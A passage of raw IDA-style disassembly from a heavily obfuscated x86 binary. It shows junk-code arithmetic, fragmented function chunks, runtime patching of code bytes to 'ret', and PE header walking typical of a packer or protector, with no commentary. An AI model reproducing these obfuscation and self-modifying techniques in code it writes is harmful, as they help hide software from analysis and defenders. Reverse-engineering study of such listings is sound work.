--------------------------------------------------------------------------- rol ebp, 0Ah jmp sub_755139 ; --------------------------------------------------------------------------- loc_74D6C6: ; CODE XREF: _0z4jwtox:0074F98Fj shl esi, 10h mov eax, 0C0D14C09h pop ebp ; START OF FUNCTION CHUNK FOR sub_74CBCF loc_74D6CF: ; CODE XREF: sub_74CBCF+2DB3j rol esi, 0Ch jmp loc_74D651 ; END OF FUNCTION CHUNK FOR sub_74CBCF ; --------------------------------------------------------------------------- jmp ds:dword_41F05C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755964 loc_74D6DD: ; CODE XREF: sub_755964:loc_755974j jmp loc_74DC45 ; END OF FUNCTION CHUNK FOR sub_755964 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_14. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jns loc_7536A6 mov eax, [esp] push edx call sub_755C10 mov eax, 0EF9F7D01h jmp loc_74F308 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752D11 loc_74D6FC: ; CODE XREF: sub_752D11:loc_74902Dj push esi push 516BC8C3h pop esi sub esi, 39F70A90h jmp loc_747088 ; END OF FUNCTION CHUNK FOR sub_752D11 ; --------------------------------------------------------------------------- loc_74D70E: ; CODE XREF: _0z4jwtox:0074A4DEj xor edx, 0E259EA45h ; START OF FUNCTION CHUNK FOR sub_7570CA loc_74D714: ; CODE XREF: sub_7570CA-CBF8j and eax, 0FE71B252h xor eax, 0B56AC604h push offset sub_7554BB jmp nullsub_231 ; END OF FUNCTION CHUNK FOR sub_7570CA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746389 loc_74D72A: ; CODE XREF: sub_746389+6j cmp byte ptr [eax], 0F1h jnz loc_750C6E jmp loc_746E46 ; END OF FUNCTION CHUNK FOR sub_746389 ; --------------------------------------------------------------------------- loc_74D738: ; CODE XREF: _0z4jwtox:00747CAEj or edi, ebx loc_74D73A: ; CODE XREF: _0z4jwtox:0074CD3Dj jmp loc_74EEB8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_226. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746389 loc_74D740: ; CODE XREF: sub_746389+A8EBj jmp loc_748AB2 ; END OF FUNCTION CHUNK FOR sub_746389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74E762 loc_74D745: ; CODE XREF: sub_74E762-9486j jmp loc_74DED7 ; END OF FUNCTION CHUNK FOR sub_74E762 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_752B0C loc_74D74A: ; CODE XREF: sub_752B0C:loc_752B11j call sub_7539AE loc_74D74F: ; CODE XREF: sub_748ABC+Ej jmp loc_74729B ; END OF FUNCTION CHUNK FOR sub_752B0C ; --------------------------------------------------------------------------- loc_74D754: ; CODE XREF: _0z4jwtox:00745267j jmp sub_7528FA ; --------------------------------------------------------------------------- loc_74D759: ; CODE XREF: _0z4jwtox:0075659Fj push 1A42C285h ; START OF FUNCTION CHUNK FOR sub_7557E7 loc_74D75E: ; CODE XREF: sub_7557E7:loc_756581j rol eax, 11h jb loc_74F996 ; END OF FUNCTION CHUNK FOR sub_7557E7 ; START OF FUNCTION CHUNK FOR sub_7554BB loc_74D767: ; CODE XREF: sub_7554BB-AEABj jmp sub_74DE1F ; END OF FUNCTION CHUNK FOR sub_7554BB ; --------------------------------------------------------------------------- popf jbe loc_74FD80 jmp loc_74F994 ; --------------------------------------------------------------------------- loc_74D778: ; DATA XREF: sub_748773+77AEo mov [ebp-0Ch], eax xor eax, eax jmp loc_746B72 ; =============== S U B R O U T I N E ======================================= sub_74D782 proc near ; CODE XREF: sub_755103+3j ; FUNCTION CHUNK AT 00745046 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 007456B1 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00745DE6 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 00746F26 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00747601 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00748EE9 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00749679 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00749D85 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0074A6A2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074BC91 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074C9E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074D8E9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0074F70A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 007509D3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00752F1F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00754EFB SIZE 00000006 BYTES add esp, 0FFFFFFD0h mov eax, 12h call sub_749DB4 test al, al jz loc_746260 jmp loc_74A6A2 sub_74D782 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B01A loc_74D79C: ; CODE XREF: sub_74B01A:loc_750680j push 2050563h pop ebx or ebx, 4FC8DBBCh add ebx, 86FB4FF0h or ebx, 48751B4Fh xor ebx, 19BDD674h add ebx, 393394CCh xchg ebx, [esp+4+var_4] jmp loc_74CB74 ; END OF FUNCTION CHUNK FOR sub_74B01A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AF10 loc_74D7C8: ; CODE XREF: sub_74AF10:loc_755189j pushf xor eax, 81A6591h jmp loc_74901A ; END OF FUNCTION CHUNK FOR sub_74AF10 ; =============== S U B R O U T I N E ======================================= sub_74D7D4 proc near ; CODE XREF: sub_7460F1+1760j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00749E7C SIZE 00000012 BYTES ; FUNCTION CHUNK AT 007552EB SIZE 00000005 BYTES push ebx mov ebx, edx xchg ebx, [esp+4+var_4] call sub_745715 call sub_7460F1 loc_74D7E4: ; CODE XREF: sub_746E93+AFFDj jmp loc_749E7C sub_74D7D4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748E45 loc_74D7E9: ; CODE XREF: sub_748E45+Cj jmp loc_756D49 ; END OF FUNCTION CHUNK FOR sub_748E45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B31 loc_74D7EE: ; CODE XREF: sub_747B31:loc_753647j mov esp, ebp xchg edx, [esp+0] mov ebp, edx pop edx jmp loc_7528D1 ; END OF FUNCTION CHUNK FOR sub_747B31 ; --------------------------------------------------------------------------- loc_74D7FB: ; CODE XREF: _0z4jwtox:007566A7j mov eax, 99B20D50h call sub_746E93 push esi push 0CB45FB0Bh pop esi add esi, 58E2058Ah and esi, 0FE92094Ah test esi, 10h jmp loc_74B3B2 ; =============== S U B R O U T I N E ======================================= sub_74D823 proc near ; CODE XREF: _0z4jwtox:00748351j ; sub_74FE55:loc_752303p ; FUNCTION CHUNK AT 00748F07 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 007499F1 SIZE 00000004 BYTES xchg esi, [esp+0] pop esi xor eax, 2BAD1070h add eax, ebp add eax, 0C35128FCh popf xor edx, edx jmp loc_748F07 sub_74D823 endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_74D83D: ; CODE XREF: _0z4jwtox:0074CFB2j retn ; --------------------------------------------------------------------------- loc_74D83E: ; CODE XREF: _0z4jwtox:0074B1C5j jmp loc_757877 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7541BA loc_74D843: ; CODE XREF: sub_7541BA-9931j jmp loc_754FAA ; END OF FUNCTION CHUNK FOR sub_7541BA ; --------------------------------------------------------------------------- or ecx, 0F7F6593Ch jmp loc_75423F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74CBB7 loc_74D853: ; CODE XREF: sub_74CBB7+Dj xchg edi, [esp+0] call sub_74BFE0 push 596A4DA7h pop eax or eax, 318009D2h cmp eax, 31F2A18Bh jmp loc_74F56C ; END OF FUNCTION CHUNK FOR sub_74CBB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749161 loc_74D872: ; CODE XREF: sub_749161:loc_75150Dj mov edi, ebx xchg edi, [esp+4+var_4] push 5D81D930h pop ebx or ebx, 0E98A9099h rol ebx, 6 jmp loc_74DC8F ; END OF FUNCTION CHUNK FOR sub_749161 ; --------------------------------------------------------------------------- locret_74D88B: ; CODE XREF: _0z4jwtox:0074BE66j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74D88C: ; CODE XREF: sub_747C22+6B0Bj add eax, 95A6F8EEh xor eax, 97716656h add eax, 0BF71170Ah add eax, ebp jmp loc_7469FE ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B74C loc_74D8A5: ; CODE XREF: sub_74B74C+13j call sub_74FC30 push offset loc_756B16 jmp nullsub_61 ; END OF FUNCTION CHUNK FOR sub_74B74C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750C2D loc_74D8B4: ; CODE XREF: sub_750C2D+9j pop edi and eax, 5144C06Ah or eax, 77162D3Dh sub eax, 30BE9902h jnz loc_755EB9 ; END OF FUNCTION CHUNK FOR sub_750C2D ; START OF FUNCTION CHUNK FOR sub_746C84 loc_74D8CD: ; CODE XREF: sub_746C84+482Aj jmp loc_74B5C3 ; END OF FUNCTION CHUNK FOR sub_746C84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74D8D2: ; CODE XREF: sub_747C22+CC5j jmp loc_74DADF ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746C25 loc_74D8D7: ; CODE XREF: sub_746C25+6j jmp sub_74F266 ; END OF FUNCTION CHUNK FOR sub_746C25 ; --------------------------------------------------------------------------- loc_74D8DC: ; CODE XREF: _0z4jwtox:007463D8j jmp loc_7551C8 ; --------------------------------------------------------------------------- pushf and edi, eax jmp loc_748F8D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74D782 loc_74D8E9: ; CODE XREF: sub_74D782:loc_74A6A2j jnz loc_745DF0 jmp loc_746F26 ; END OF FUNCTION CHUNK FOR sub_74D782 ; --------------------------------------------------------------------------- push eax and eax, 85C3BB21h jmp sub_7508E6 ; --------------------------------------------------------------------------- loc_74D900: ; CODE XREF: _0z4jwtox:00755630j mov [eax], ecx loc_74D902: ; CODE XREF: _0z4jwtox:00755619j add ecx, 0B76D203Ch xchg ecx, [esp] jmp loc_74D6A8 ; --------------------------------------------------------------------------- xor ecx, 0A2085D8Ch jmp loc_753035 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_74D91B: ; CODE XREF: sub_74F78B:loc_74CBCAj pop edi sub edi, 36CF25B4h cmp edi, 45163A98h jmp loc_74ACEB ; END OF FUNCTION CHUNK FOR sub_74F78B ; --------------------------------------------------------------------------- locret_74D92D: ; CODE XREF: _0z4jwtox:00748A4Dj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749254 loc_74D92E: ; CODE XREF: sub_749254-32BDj jmp loc_74DA1C ; END OF FUNCTION CHUNK FOR sub_749254 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_74D933: ; CODE XREF: sub_748A22-3562j jmp loc_74CA41 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7543C5 loc_74D938: ; CODE XREF: sub_7543C5-4545j add eax, 58BC8FFDh xor eax, 6DE46D96h push edi mov edi, esi xchg edi, [esp+0] push 0DD268CC6h jmp loc_752CF1 ; END OF FUNCTION CHUNK FOR sub_7543C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7558D0 loc_74D954: ; CODE XREF: sub_7558D0+Cj pop ecx push ecx pushf loc_74D957: ; CODE XREF: sub_747B31:loc_754CE4j push 0E199EC90h sub ecx, 0C1B5D7C3h jmp loc_75103D ; END OF FUNCTION CHUNK FOR sub_7558D0 ; --------------------------------------------------------------------------- loc_74D967: ; CODE XREF: _0z4jwtox:0075402Fj mov [ebx], eax pop ebx lea eax, sub_74F688 mov byte ptr [eax], 0C3h jmp loc_755174 ; --------------------------------------------------------------------------- loc_74D978: ; CODE XREF: _0z4jwtox:0075229Dj mov [edx], eax call sub_750B49 ; START OF FUNCTION CHUNK FOR sub_748773 loc_74D97F: ; CODE XREF: sub_748773+220Aj jmp loc_74FF10 ; END OF FUNCTION CHUNK FOR sub_748773 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_239. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74721B loc_74D985: ; CODE XREF: sub_74721B+4430j jmp loc_74DB18 ; END OF FUNCTION CHUNK FOR sub_74721B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747B31 loc_74D98A: ; CODE XREF: sub_747B31+BAFj jmp loc_74F4E7 ; END OF FUNCTION CHUNK FOR sub_747B31 ; --------------------------------------------------------------------------- loc_74D98F: ; CODE XREF: _0z4jwtox:loc_75775Aj jnz loc_7550C5 ; START OF FUNCTION CHUNK FOR sub_7474B9 loc_74D995: ; CODE XREF: sub_7474B9-2197j jmp loc_7493A8 ; END OF FUNCTION CHUNK FOR sub_7474B9 ; --------------------------------------------------------------------------- pushf or esi, 0B37B07FDh add edi, ebp jmp loc_7550C5 ; --------------------------------------------------------------------------- loc_74D9A8: ; CODE XREF: _0z4jwtox:loc_747888j or edx, 6649EBC7h add edx, 0B349C38Dh add edx, ebp add edx, 66465098h mov edx, [edx] imul byte ptr [edx] jmp loc_74F2D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_74D9C5: ; CODE XREF: _0z4jwtox:loc_74DFA2j ; sub_7561AB:loc_756E4Ej jz loc_7544DE jmp loc_74EECC ; END OF FUNCTION CHUNK FOR sub_7561AB ; =============== S U B R O U T I N E ======================================= sub_74D9D0 proc near ; DATA XREF: _0z4jwtox:0074B6B9o push edx call sub_74CAC3 sub_74D9D0 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_7531B7 loc_74D9D6: ; CODE XREF: sub_7531B7+10j jmp loc_74AD7F ; END OF FUNCTION CHUNK FOR sub_7531B7 ; --------------------------------------------------------------------------- mov eax, 0DD1C4F2h push edx push 7138D2CBh sub edx, edi jmp loc_74B41E ; --------------------------------------------------------------------------- loc_74D9ED: ; DATA XREF: sub_752D11+46AAo add eax, [ebp-4] push ecx push 1FE27043h pop ecx and ecx, 2B7B6013h xor ecx, 0B62601Bh jmp loc_752A30 ; --------------------------------------------------------------------------- loc_74DA08: ; DATA XREF: sub_749229+E660o push 6DB0C68h pop eax rol eax, 13h cmp eax, 0C2F5EC3Ah jmp loc_74E632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749254 loc_74DA1C: ; CODE XREF: sub_749254:loc_74D92Ej push edx push esi push 6F2AE7Ch pop esi or esi, 0A4BCC18Ch sub esi, 0C577D559h jmp loc_74A91C ; END OF FUNCTION CHUNK FOR sub_749254 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754FC6 loc_74DA35: ; CODE XREF: sub_754FC6-56B4j xchg ecx, [esp+8+var_8] jmp sub_748C0D ; END OF FUNCTION CHUNK FOR sub_754FC6 ; =============== S U B R O U T I N E ======================================= sub_74DA3D proc near ; DATA XREF: sub_746640-E53o push esi call sub_74A99B loc_74DA43: ; CODE XREF: sub_74A63F+9E71j jmp nullsub_199 sub_74DA3D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74B1F1 loc_74DA48: ; CODE XREF: sub_74B1F1-279Aj jmp nullsub_130 ; END OF FUNCTION CHUNK FOR sub_74B1F1 ; --------------------------------------------------------------------------- loc_74DA4D: ; CODE XREF: _0z4jwtox:loc_746DCDj mov eax, 6A74FD15h push offset sub_750BB0 jmp loc_74B6CD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74DA5D: ; CODE XREF: sub_74C670+6A68j jmp sub_746E93 ; END OF FUNCTION CHUNK FOR sub_74C670 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_63. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74AE67 loc_74DA63: ; CODE XREF: sub_74AE67-1E01j jmp loc_74D641 ; END OF FUNCTION CHUNK FOR sub_74AE67 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74DA68: ; CODE XREF: sub_747AEC+2B4Ej rol eax, 1Dh sub eax, 0BAA89B88h push esi push 0EDACFC10h pop esi sub esi, 4223A891h jmp loc_74736A ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_74DA83: ; CODE XREF: sub_7561AB:loc_745D57j ; _0z4jwtox:00745D6Cj add ebx, 0EF3507E5h sub eax, ebx pop ebx xor eax, 0B4CB980Fh mov edx, [esp-4+arg_0] push eax mov eax, edx jmp loc_74E308 ; END OF FUNCTION CHUNK FOR sub_7561AB ; =============== S U B R O U T I N E ======================================= sub_74DA9D proc near ; DATA XREF: _0z4jwtox:0074F87Do add edx, 7A3503A9h call sub_74594D loc_74DAA8: ; CODE XREF: _0z4jwtox:00747121j push ecx sub_74DA9D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74DAA9 proc near ; CODE XREF: sub_74CB79+6p xchg edx, [esp+0] pop edx pop ebp retn sub_74DAA9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74DAAF proc near ; CODE XREF: _0z4jwtox:00745395j ; sub_747A4A+288Aj ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 007472E6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00749558 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0074A679 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 0074EDC5 SIZE 00000012 BYTES push ecx jmp loc_749558 sub_74DAAF endp ; --------------------------------------------------------------------------- jmp ds:off_41F07C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C670 loc_74DABB: ; CODE XREF: sub_74C670+74F4j jmp loc_74C44A ; END OF FUNCTION CHUNK FOR sub_74C670 ; --------------------------------------------------------------------------- loc_74DAC0: ; CODE XREF: _0z4jwtox:0074F219j jmp loc_7455E6 ; --------------------------------------------------------------------------- loc_74DAC5: ; CODE XREF: _0z4jwtox:00749B25j jmp loc_74C053 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75118C loc_74DACA: ; CODE XREF: _0z4jwtox:loc_74EE53j ; sub_75118C+Dj ... jnb loc_75119E pop edx mov eax, [esp+0] push eax mov eax, edx xchg eax, [esp+8+var_8] jmp loc_75297B ; END OF FUNCTION CHUNK FOR sub_75118C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74DADF: ; CODE XREF: sub_747C22:loc_74D8D2j mov al, [eax] sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jnz loc_74767C jmp loc_750352 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- not esi jmp sub_746BE0 ; --------------------------------------------------------------------------- loc_74DAFC: ; CODE XREF: _0z4jwtox:loc_749C52j add eax, 0EF25A666h call sub_746E93 mov ds:off_41F0C8, eax lea eax, sub_74624E call sub_751427 ; START OF FUNCTION CHUNK FOR sub_74721B loc_74DB18: ; CODE XREF: sub_74721B:loc_74D985j cmp al, 0A4h jz loc_755EEB jmp loc_748B07 ; END OF FUNCTION CHUNK FOR sub_74721B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_74DB25: ; CODE XREF: sub_748A22+AC14j cmp ecx, 0D6E2DF86h jmp loc_74EAF8 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75275A loc_74DB30: ; CODE XREF: sub_75275A:loc_74BB0Aj jz loc_7524AA jmp loc_756D12 ; END OF FUNCTION CHUNK FOR sub_75275A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7473E6 loc_74DB3B: ; CODE XREF: sub_7473E6+40ACj and eax, 52D1C812h jmp loc_747AFC ; END OF FUNCTION CHUNK FOR sub_7473E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7561AB loc_74DB46: ; CODE XREF: sub_7561AB:loc_74AC92j ; DATA XREF: sub_74BD89+Bo mov ds:off_41F108, eax call sub_747D01 loc_74DB51: ; CODE XREF: sub_74AAC1+BD5Dj jmp loc_749F07 ; END OF FUNCTION CHUNK FOR sub_7561AB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74DB56: ; CODE XREF: sub_747AEC+3A4j pushf push 3FBF3F85h pop ebx xor ebx, 392D453Ch jmp loc_74A84F ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7571A1 loc_74DB68: ; CODE XREF: sub_7571A1-D9E5j mov ebx, eax pop eax xor ebx, 0C0DA7B43h sub ebx, 46FA85D7h test ebx, 20000h jmp loc_74FC6E ; END OF FUNCTION CHUNK FOR sub_7571A1 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_745911 loc_74DB83: ; CODE XREF: sub_745911+932Aj jmp nullsub_83 ; END OF FUNCTION CHUNK FOR sub_745911 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7459BC loc_74DB88: ; CODE XREF: sub_7459BC+20j jmp loc_747656 ; END OF FUNCTION CHUNK FOR sub_7459BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747AEC loc_74DB8D: ; CODE XREF: sub_747AEC:loc_74D1ADj ror eax, 0Ah xor eax, 0ADD62811h push esi jmp loc_747E74 ; END OF FUNCTION CHUNK FOR sub_747AEC ; --------------------------------------------------------------------------- loc_74DB9C: ; CODE XREF: _0z4jwtox:0074E565j rol ebx, 1Fh and ebx, 95EF4F27h test ebx, 10000000h jmp loc_7558E1 ; --------------------------------------------------------------------------- mov eax, 78BDA40Ah call sub_746E93 mov ds:dword_41F148, eax lea eax, nullsub_279 jmp loc_75418C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_746C5E loc_74DBCB: ; CODE XREF: sub_746C5E+E96Cj pop esi ror eax, 1 jns loc_74ABD3 xor eax, 0AEB5E723h jmp loc_757601 ; END OF FUNCTION CHUNK FOR sub_746C5E ; =============== S U B R O U T I N E ======================================= sub_74DBDF proc near ; CODE XREF: sub_74ED9C+11p ; _0z4jwtox:007549A7j ; FUNCTION CHUNK AT 00754603 SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx mov byte ptr [eax], 0C3h jmp loc_754603 sub_74DBDF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_74DBEB proc near ; CODE XREF: sub_401000+AAp ; sub_401447+96p ... ; FUNCTION CHUNK AT 007545FE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00754A78 SIZE 0000000D BYTES push ecx push 27681F93h jmp loc_7545FE sub_74DBEB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75712E loc_74DBF6: ; CODE XREF: sub_75712E-11D86j pushf jmp loc_75739A ; END OF FUNCTION CHUNK FOR sub_75712E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C38 loc_74DBFC: ; CODE XREF: sub_755C38-A825j ; _0z4jwtox:0074B430j or edx, 0CCA1D4F7h xor edx, 1B8AC5E0h add edx, 0AC2C181h mov [edx], eax pop edx lea eax, nullsub_7 jmp loc_749524 ; END OF FUNCTION CHUNK FOR sub_755C38 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_754DFF loc_74DC1C: ; CODE XREF: sub_754DFF:loc_74EB28j jl loc_7511A8 shr ebx, 12h pop eax xor ebp, edi jmp loc_751F9E ; END OF FUNCTION CHUNK FOR sub_754DFF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747736 loc_74DC2D: ; CODE XREF: sub_747736:loc_74A6BFj pop ebx and ebx, 9CDF92C3h cmp ebx, 0AC3F1E7Ah jmp loc_745B74 ; END OF FUNCTION CHUNK FOR sub_747736 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_233. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_748A22 loc_74DC40: ; CODE XREF: sub_748A22+4022j jmp loc_756C08 ; END OF FUNCTION CHUNK FOR sub_748A22 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755964 loc_74DC45: ; CODE XREF: sub_755964:loc_74D6DDj mov byte ptr [eax], 0C3h jmp sub_75100C ; END OF FUNCTION CHUNK FOR sub_755964 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_75100C loc_74DC4D: ; CODE XREF: sub_75100C+1j mov eax, [esp+0] push esi mov esi, edx jmp loc_752CAC ; END OF FUNCTION CHUNK FOR sub_75100C ; =============== S U B R O U T I N E ======================================= sub_74DC58 proc near ; CODE XREF: _0z4jwtox:007494BFj ; sub_747622+D339p ; FUNCTION CHUNK AT 00754F28 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0075755B SIZE 00000005 BYTES xchg edx, [esp+0] pop edx pushf push edi push 0D1D758C9h pop edi sub edi, 44184B66h or edi, 68569AE0h jmp loc_75755B sub_74DC58 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push edx mov edx, ecx xchg edx, [esp] push 273219B8h pop ecx rol ecx, 14h sub ecx, 36CF50A7h jmp loc_74F3A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_749161 loc_74DC8F: ; CODE XREF: sub_749161+4725j call sub_756834 locret_74DC94: ; CODE XREF: sub_757314:loc_74E816j retn ; END OF FUNCTION CHUNK FOR sub_749161 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74C8DA loc_74DC95: ; CODE XREF: sub_74C8DA+1D01j jmp loc_74C0B2 ; END OF FUNCTION CHUNK FOR sub_74C8DA ; --------------------------------------------------------------------------- jmp ds:off_41F01C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_74F78B loc_74DCA0: ; CODE XREF: sub_74F78B:loc_747374j ; _0z4jwtox:0074EFD5j ... jb loc_7483DC xchg ebx, [esp+0] mov edx, ebx xchg ebp, [esp+0] jmp loc_74BB82 ; END OF FUNCTION CHUNK FOR sub_74F78B ; --------------------------------------------------------------------------- jz loc_755B76 mov edx, ds:dword_746E84 or edx, edx jnz loc_74BC7C jmp loc_75531F ; --------------------------------------------------------------------------- loc_74DCCC: ; CODE XREF: _0z4jwtox:007512D4j jnb loc_74FFA4 test ebp, eax jmp loc_74EEDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_747C22 loc_74DCD9: ; CODE XREF: sub_747C22-2833j add eax, [ebp-8] mov [ebp-24h], eax loc_74DCDF: ; CODE XREF: sub_747C22:loc_74D414j mov eax, [ebp-24h] movzx eax, word ptr [eax] and eax, 0FFFF7FFFh jmp loc_74A476 ; END OF FUNCTION CHUNK FOR sub_747C22 ; --------------------------------------------------------------------------- loc_74DCEF: ; CODE XREF: _0z4jwtox:loc_755782j push edx push 0B9A2D51Fh pop edx or edx, 5D8AD5C7h rol edx, 13h add edx, 68E944FBh or edx, 44CFFCE8h jmp loc_74DE0F ; --------------------------------------------------------------------------- jg loc_7570AA jmp sub_75547D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_755C38 loc_74DD1B: ; CODE XREF: sub_755C38:loc_74E714j jge loc_746796 loc_74DD21: ; CODE XREF: _0z4jwtox:00752BABj jmp loc_74E81B ; END OF FUNCTION CHUNK FOR sub_755C38 ; --------------------------------------------------------------------------- shl ecx, 14h popf not ecx jmp loc_746791 ; --------------------------------------------------------------------------- loc_74DD31: ; DATA XREF: sub_757739+11o mov eax, [ebp-4] add eax, 3Ch mov eax, [eax] add eax, [ebp-4] add eax, 18h push offset sub_756C02 jmp loc_7546AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_7554BB loc_74DD49: ; CODE XREF: sub_7554BB:loc_7551CEj or ecx, 0DF6A68BBh add ecx, 20C3889Dh mov [ecx], eax pop ecx lea eax, sub_74BD26 jmp loc_74E1E2 ; END OF FUNCTION CHUNK FOR sub_7554BB ; --------------------------------------------------------------------------- loc_74DD63: ; CODE XREF: _0z4jwtox:007483C4j rol edi, 18h jmp loc_74B69F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_750243 loc_74DD6B: ; CODE XREF: sub_750243+6j mov [ebp+var_4], eax mov eax, [ebp+var_4] mov [ebp+var_C], eax xor eax, eax loc_74DD76: ; CODE XREF: _0z4jwtox:loc_746550j mov [ebp+var_8], eax 